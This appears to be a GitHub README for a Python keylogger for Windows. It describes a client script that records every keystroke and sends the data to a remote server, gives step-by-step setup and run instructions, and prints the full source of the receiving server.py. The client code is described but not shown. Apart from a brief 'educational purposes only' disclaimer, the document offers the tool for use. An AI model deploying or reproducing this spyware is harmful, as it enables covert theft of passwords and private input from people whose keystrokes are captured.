This project consists of a keylogger designed for Windows systems, split into two main scripts: server.py and client.py. The client.py script logs keystrokes on the client machine, while server.py is used to receive and handle the logged data on the server.
This project is for educational purposes only. Unauthorized use of this software to monitor others without their consent is illegal and unethical. Ensure you have permission before using this software.
- Logs all keystrokes on the client machine.
- Sends logged data to a remote server.
- Simple and easy to use.
- Python 3.x
pynputlibrary for capturing keystrokessocketlibrary for network communication
-
Clone the repository:
git clone https://github.com/dan1471/keylogger.git cd keylogger-project -
Install the required libraries:
pip install pynput
-
Run the
server.pyscript on the server machine:python server.py
-
The server will start listening for incoming connections from the client.
-
Edit the
client.pyscript to include the server's IP address and port. -
Run the
client.pyscript on the client machine:python client.py
-
The client will start logging keystrokes and send the data to the server.
server.py: Script to run the server which receives logged keystrokes from the client.client.py: Script to run on the client machine which logs keystrokes and sends them to the server.
# server.py
import socket
def start_server():
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind(('0.0.0.0', 5000)) # Bind to all interfaces on port 5000
server_socket.listen(1)
print("Server started and listening for incoming connections...")
while True:
client_socket, client_address = server_socket.accept()
print(f"Connection from {client_address} has been established!")
data = client_socket.recv(1024).decode('utf-8')
print(f"Received data: {data}")
client_socket.close()
if __name__ == "__main__":
start_server()